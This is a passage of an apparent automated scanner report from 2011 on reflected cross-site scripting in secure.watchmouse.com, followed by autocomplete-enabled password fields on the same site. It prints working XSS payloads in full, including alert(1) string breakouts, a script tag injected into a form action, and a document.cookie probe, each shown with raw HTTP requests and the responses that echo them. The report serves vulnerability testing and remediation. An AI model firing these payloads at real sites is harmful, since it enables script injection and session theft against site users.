<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <![CDATA[ function checkReferrer(){ var vref_string = encodeURIComponent('173.193.214.243::0::::website_monitoring_features.phpfd16c'-alert(1)-'e746f8a7df8'); var serverRef = encodeURIComponent(''); if(document && document.referrer){ jsRef = encodeURIComponent(document.referrer); }else{ jsRef = ''; } requestParams = 'vjsRef='+jsRef ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1fee2"><script>alert(1)</script>2f49cde29bf was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/website_monitoring_features.php1fee2"><script>alert(1)</script>2f49cde29bf HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Wed, 09 Feb 2011 12:26:45 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-99a0c17d16671754b3ff5dab1fe90bab" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 13883
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <form id="login_form" action="https://secure.watchmouse.com/en/website_monitoring_features.php1fee2"><script>alert(1)</script>2f49cde29bf" method="post"> ...[SNIP]...
1.33. https://secure.watchmouse.com/en/website_monitoring_features.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://secure.watchmouse.com
Path:
/en/website_monitoring_features.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6d3ad'-alert(1)-'155c9d73cd6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/website_monitoring_features.php?6d3ad'-alert(1)-'155c9d73cd6=1 HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 09 Feb 2011 12:26:37 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-1e552d49c2f41b2daa2d031f939c786b" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28340
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <![CDATA[ function checkReferrer(){ var vref_string = encodeURIComponent('173.193.214.243::0::::website_monitoring_features.php?6d3ad'-alert(1)-'155c9d73cd6=1'); var serverRef = encodeURIComponent(''); if(document && document.referrer){ jsRef = encodeURIComponent(document.referrer); }else{ jsRef = ''; } requestParams = 'vjsRef='+jsR ...[SNIP]...
1.34. https://secure.watchmouse.com/en/website_monitoring_features.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://secure.watchmouse.com
Path:
/en/website_monitoring_features.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c5d13"><script>alert(1)</script>c8784763d6c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/website_monitoring_features.php?c5d13"><script>alert(1)</script>c8784763d6c=1 HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 09 Feb 2011 12:26:35 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-b8e23ea92a5f60b03d00533e54b5e8b0" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28433
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <form id="login_form" action="https://secure.watchmouse.com/en/website_monitoring_features.php?c5d13"><script>alert(1)</script>c8784763d6c=1" method="post"> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 89b9b'-alert(1)-'0745e2c1443 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/ HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=89b9b'-alert(1)-'0745e2c1443
Response
HTTP/1.1 200 OK Date: Wed, 09 Feb 2011 12:26:37 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-dcfc2fef7316a58776430ed4f29c2f1b" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 18320
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <![CDATA[ function checkReferrer(){ var vref_string = encodeURIComponent('173.193.214.243::0::http://www.google.com/search?hl=en&q=89b9b'-alert(1)-'0745e2c1443::en'); var serverRef = encodeURIComponent('http://www.google.com/search?hl=en&q=89b9b'-alert(1)-'0745e2c1443'); if(document && document.referrer){ jsRef = encodeURIComponent(document.referre ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2ae24'-alert(1)-'8600771a33e was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/index.php HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=2ae24'-alert(1)-'8600771a33e
Response
HTTP/1.1 200 OK Date: Wed, 09 Feb 2011 12:26:43 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-7a7bcb9acf25894f3de9d4afb3009360" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 18408
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <![CDATA[ function checkReferrer(){ var vref_string = encodeURIComponent('173.193.214.243::0::http://www.google.com/search?hl=en&q=2ae24'-alert(1)-'8600771a33e::index.php'); var serverRef = encodeURIComponent('http://www.google.com/search?hl=en&q=2ae24'-alert(1)-'8600771a33e'); if(document && document.referrer){ jsRef = encodeURIComponent(document. ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 12785'-alert(1)-'56c1aad385d was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/learn_more.php HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=12785'-alert(1)-'56c1aad385d
Response
HTTP/1.1 200 OK Date: Wed, 09 Feb 2011 12:26:45 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Last-Modified: Wed, 09 Feb 2011 12:26:45 GMT Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 45600
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <![CDATA[ function checkReferrer(){ var vref_string = encodeURIComponent('173.193.214.243::0::http://www.google.com/search?hl=en&q=12785'-alert(1)-'56c1aad385d::learn_more.php'); var serverRef = encodeURIComponent('http://www.google.com/search?hl=en&q=12785'-alert(1)-'56c1aad385d'); if(document && document.referrer){ jsRef = encodeURIComponent(docu ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1d3a1'-alert(1)-'088b51f227d was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/plans_price.php HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=1d3a1'-alert(1)-'088b51f227d
Response
HTTP/1.1 200 OK Date: Wed, 09 Feb 2011 12:26:45 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-84dd0fb56d06f909613b76b46bac2794" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55479
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <![CDATA[ function checkReferrer(){ var vref_string = encodeURIComponent('173.193.214.243::0::http://www.google.com/search?hl=en&q=1d3a1'-alert(1)-'088b51f227d::plans_price.php'); var serverRef = encodeURIComponent('http://www.google.com/search?hl=en&q=1d3a1'-alert(1)-'088b51f227d'); if(document && document.referrer){ jsRef = encodeURIComponent(doc ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3aadc'-alert(1)-'9e50fb9d17d was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/website_monitoring_features.php HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=3aadc'-alert(1)-'9e50fb9d17d
Response
HTTP/1.1 200 OK Date: Wed, 09 Feb 2011 12:26:43 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-3fc8d1cddd0488e19425291871e6fcf6" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28160
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <![CDATA[ function checkReferrer(){ var vref_string = encodeURIComponent('173.193.214.243::0::http://www.google.com/search?hl=en&q=3aadc'-alert(1)-'9e50fb9d17d::website_monitoring_features.php'); var serverRef = encodeURIComponent('http://www.google.com/search?hl=en&q=3aadc'-alert(1)-'9e50fb9d17d'); if(document && document.referrer){ jsRef = encode ...[SNIP]...
2. Password field with autocomplete enabledprevious There are 7 instances of this issue:
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
The form contains the following password field with autocomplete enabled:
vpasswd
Request
GET /en/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=1 HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 09 Feb 2011 12:26:26 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-aeed87ce03e95ed489044f5d52d9ae9e" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 18858
The page contains a form with the following action URL:
https://secure.watchmouse.com/en/
The form contains the following password field with autocomplete enabled:
vpasswd
Request
GET /en/ HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 09 Feb 2011 12:26:25 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-dcfc2fef7316a58776430ed4f29c2f1b" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 18190
The form contains the following password field with autocomplete enabled:
vpasswd
Request
GET /en/?3d071%22%3E%3Cscript%3Ealert(document.cookie HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 09 Feb 2011 12:26:26 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-5aedf02955c46810f87697affe7baf9b" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 18638
The page contains a form with the following action URL:
https://secure.watchmouse.com/en/index.php
The form contains the following password field with autocomplete enabled:
vpasswd
Request
GET /en/index.php HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 09 Feb 2011 12:26:28 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-7a7bcb9acf25894f3de9d4afb3009360" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 18278
The page contains a form with the following action URL:
https://secure.watchmouse.com/en/learn_more.php
The form contains the following password field with autocomplete enabled:
vpasswd
Request
GET /en/learn_more.php HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 09 Feb 2011 12:26:27 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Last-Modified: Wed, 09 Feb 2011 12:26:27 GMT Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 45470
The page contains a form with the following action URL:
https://secure.watchmouse.com/en/plans_price.php
The form contains the following password field with autocomplete enabled:
vpasswd
Request
GET /en/plans_price.php HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 09 Feb 2011 12:26:27 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-84dd0fb56d06f909613b76b46bac2794" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55349
The form contains the following password field with autocomplete enabled:
vpasswd
Request
GET /en/website_monitoring_features.php HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 09 Feb 2011 12:26:28 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-3fc8d1cddd0488e19425291871e6fcf6" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28030